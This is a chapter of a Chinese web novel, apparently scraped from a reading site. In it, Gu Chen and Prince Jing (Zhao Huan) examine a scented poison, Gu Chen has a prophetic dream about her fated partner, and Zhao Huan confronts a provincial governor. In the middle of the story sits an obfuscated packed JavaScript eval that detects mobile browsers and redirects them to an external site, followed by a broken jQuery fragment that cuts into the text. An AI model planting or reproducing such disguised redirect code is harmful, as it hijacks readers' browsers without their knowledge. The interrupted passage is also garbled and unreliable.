默认冷灰
24号文字
方正启体

7. 大梦

作者:临池游本书字数:K更新时间:
    这个点顾忱还没睡下,拎着刀就开了门。


    “你换刀了?”顾忱手里的刀和鸭子印象里比小了一圈,煞气却更重了。


    顾忱好笑地看它一眼,手腕一转:“确实换了,毕竟原来的刀是砍匪的,现在的是杀敌的。”


    鸭子直觉不是这么回事,却还是被明晃晃的刀锋吓得一蹦三尺高:“嘎——顾九你不能宰鸭子——”


    顾忱也压根没这个想法,闻言顺势逗了一句:“得了吧你,谁吃肉老还肥的鸭子。”


    神鸭气得嘎嘎叫了两声,在院子里来回踱步。


    顾忱目的达到,心满意足地收了刀:“这么晚了,是要紧的事吧。”


    “谈不上多要紧,只是出人意料。”赵桓不和爱慕的人兜圈子讨人嫌,“沈知兰和朱何之间没有夫妻之实,那洞房里的是别人。”


    顾忱点点头:“哦,这样。”


    沈知兰抓周的时候,顾忱亲眼见着她选了一卷古书。十几年间她长成真君子,以她在沈家的地位,她若不想,沈秋能同意这个宝贝和朱何行房才奇怪。


    毕竟这些世家子弟混迹于风月场,有几个不染着病的。尤其是朱何这种,说不定哪天就死在花下了。


    赵桓忽地抬手。


    夜行衣的袖口是用暗金丝线扎紧的,玄色的衣袍间伸出一只白皙的手来,指尖染了点紫黑。


    赵桓的衣服上带着清淡的花香,像是皂角的味道。


    除了鼻翼动了动,顾忱的视线聚焦在那点毒血上,丝毫没有在意赵桓的动作。


    赵桓极轻地叹息一声。


    他喜欢的人完全察觉不出他的爱意。这样也好,两个人就先当着朋友吧。


    顾忱伸出不拿刀的手,扣在眼前人的手腕上。


    顾忱的指尖带着薄茧,很凉,像是把远东的霜雪都披在身上。


    赵桓的身子僵住了,瞳孔一缩。在他看不到的角度,顾忱抬了眼,从垂落的发丝间观察到了景王比猴屁股还红的脸。


    顾忱再傻逼也看出来赵桓是个什么情况了,不动声色地又松了手:“没见过,但这毒不像是北边的。怎么沾上的?”


    顾忱力气绝对是极大的,只是握住便留下了鲜红的指痕。赵桓望向那几道红痕,深呼吸两次,默念平心静气,把事情的经过一五一十地交代了。


    “你找过仰云了吗?”顾忱假装没有发觉赵桓的心意,听完发问,“我记得她和清谷的私交不错,而且她还会玩毒。”


    “我上哪找她去,”赵桓一提这人脑袋就大,“我在西南那两年,连她的影子都没有看到。”


    顾忱心说忘了这茬了。


    宋朝建立后,故交们本想各奔东西,可惜无人能用。


    云碧溪和兰娅缇一个御兽一个玩毒帮不上忙,干脆就先告辞了,各自在故地重游。


    云碧溪就是流求人氏,流求又不大,赵桓去晃一圈准能碰上。


    兰娅缇出生在云州,就是如今的西南。西南十万大山让人望而却步,兰娅缇生于此长于此,她不想被人找到的话方法有的是。


    云碧溪又不知道什么情况,现在只有顾忱赵桓赵涿能随时联系了。


    “鸽子先送太医院去了,御医天天吃白饭也该干点活了。”赵桓蹭蹭那点污血,发觉连一点腥气都没闻到,“这毒有香气。”


    “我还以为是皂角呢,居然是这毒。”顾忱没把赵桓的手放在鼻子下面闻,只是嗅到了个大概。


    “像桂花。”赵桓闭目沉思,却没由得想到了朱府中的一树海棠。


    京城的风常常平地而起,来得毫无预兆。


    远东王府里的海棠这时也盛放着。


    但是同朱府里的那棵一年四季只开花不结果的不同,它只是脾气怪,喜欢在反季节开花。


    “那常开不败的海棠花你以前听过吗?”赵桓似是意识到了自己的失态,偏过头温声问。


    “放以前肯定有,世间大道三千,小道无数,总有研究这方面的。但是现在早就没有灵力了,那花也不像是通灵的样子,只能说是品种特殊?”顾忱的视线却追了过去。


    两人的视线硬是交汇了一瞬,赵桓匆匆告辞,近乎是逃一般离开了远东王府。


    送走了赵桓,顾忱把刀往地上一放直叹气。


    正缘居然是赵桓?


    顾忱把刀从地上捡起来放回架子上,觉得自己还能再挣扎挣扎,没用下人,亲自去酒窖里搬了一坛酒。


    明天不上朝,除了军务也没什么事。


    顾忱斟酌许久,认命地把手头的军务安排好才敢喝点。


    顾忱酒窖里的可不是那种随便放在西窗下的糯米桂花酿,是正儿八经的烈酒燃雪。


    这酒是远东狼烟军营的特供,一般人喝不来,太烈。


    祝家姐弟早睡了,自己一个人在房中也无禁忌,顾忱干脆就席地而坐,砰地大力开了封。


    燃雪酒是从天纪就有的。


    大宋三百年,再往前追溯就是天地玄黄宇宙鸿荒八个以千年为纪的灵力时代。


    过去的燃雪酒烈到普通人沾一滴就醉,现在材料不如以前了,自然没有烈到吓人。


    酒已入喉,顾忱的旧忆随着醉意一起涌上来。


    “你会登至山巅,而后山体崩塌,你跌落谷底。但你会再搭出通天的梯子,然后从从容容地退下,假装自己是这芸芸众生里的平凡一员。”记忆中是张模糊不清的脸。


    酒杯碰撞的声音回荡在梦里,顾忱见着自己的父母抱着婴孩满脸喜色。


    那两张脸她还记得清,至于往来的宾客就记不得了。


    顶着模糊不清的脸的家伙望着她,又开口了:“你会很早就遇见正缘,却对他一次次视而不见。只有共同跌落谷底时,你们才能真正走到一起。”


    顾忱发觉这家伙能看见自己,急切地想追问。


    那人摇摇头,就像一阵轻飘飘的烟:“看你个人造化了。”


    生于大梦,行于现世。悠悠的声音叹着,声如洪钟。


    顾忱从大梦中惊醒,眼前剩下的是见底的酒坛。


    窗外明月高悬,沉默地照着良夜。


    有的人不说话,若无意外,一辈子也得不到希冀的答案。


    顾忱望着窗棂上洒落的点点皎月。我和赵桓之间到底算是什么?她不知道。


    顾忱听闻过爱情,却始终不相信——笑话,古往今来,连无情道都有人证成,偏偏爱之道无人。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15723690|173956||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    这种玄妙的东西,真的存在吗。


    但顾忱也知道命不可改,无论你在岔路上跑了多远,都会最终回到大路上来。所谓的命运兜兜转转却处处都是既定就是如此。


    她把杂乱的心思抛到一边——算了,自己一个人苦思冥想也得不到答案,还不如扔一边去。


    梦中那张模糊的脸她却无半点印象,按理来说那应该是个有名的神算子吧。他当初所说的命运都对上了,可以攀登的证道之山随着灵力消失轰然倒塌,她从天才跌落谷底。


    顾忱没有见过这人。一丁点的印象都没有。


    她低头望向酒坛,模模糊糊地意识到,这是不是那些史书里的判词一类的东西。


    那么何为大梦,何为现世呢。


    再醒来,玄妙的梦顾忱已经忘了个一干二净。


    三日后的农祀大典是文武百官都得到的大事,但这东西一般也就是意思意思,皇帝自己上先农坛去献个三炷香就完事了。


    但据史书记载,每次大办祀典都必定出乱子——有的是皇帝设下的圈套等着底下的人往里跳,有的则是以下谋上动手,挟天子以令诸侯。


    赵涿不如他的前辈们聪明,铁血,有手腕,他大部分时间性子温慢。最近搞的这几次大动作也都是他的兄弟景王在背后指挥的。


    景王来去无踪,这次回朝甚至带上了新的法案。


    明眼人都知道这法案利国利民,不好提出什么反对的意见,只能受着这软刀子。


    毕竟给西幻海行商的船队行个方便不是大事,又不是把国门大开。


    赵涿在此事上的异常强硬也让某些手里握着洋银的家伙提了一口气。什么行什么不行已经很明白了,这种行为在皇帝眼里和平时的小打小闹并不是一个级别的。


    当然,真正有权有钱的是不在乎的。赵氏嘛,说到底现在和花瓶差不多,赵涿轻徭薄赋国库里没钱,自己手里还没权,换个人坐龙椅也无所谓。


    哪怕他这次真的要借着祭天一事发作也无所谓,纸糊的老虎还不是一戳就破,想坐稳那个位置,也不知道对着铜鉴照照自己够不够格。


    “开——”天还未明,城门就被士兵协力推开了。


    诸多地方官此次也要回京禀报工作,赵涿干脆把开门的时间提前了一个时辰。


    轿子里坐的是流求巡抚一家。


    赵桓早早就在这里候着了。云碧溪同他说过,这巡抚在流求近乎一手遮天,如果出了什么问题,先从他这突破。


    他一路在屋檐上跟着,眼见着这一家其他人都下轿进了府邸,只有一个中年男子在庭院里来回踱步。


    赵桓用手里的剑抵住了中年男子的后腰:“李大人近来可好?”


    他身上还穿着低调的夜行衣,口鼻都覆上了黑布,这身打扮就像横行霸道的山匪。


    李成惊疑地望着眼前匿于阴影的人,这家伙必然是拿准了他这府邸里一屋老小,而且没什么侍卫才敢来的。看那明晃晃的剑锋,对方今天是直奔他来的。这人优雅的动作也不像是杀手,更像是哪家的公子披上了强盗的衣服来耍他的。


    见眼前人不说话,山匪景王完全不见之前在远东王府里的尴尬,笑眯眯地开始了他的提问。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)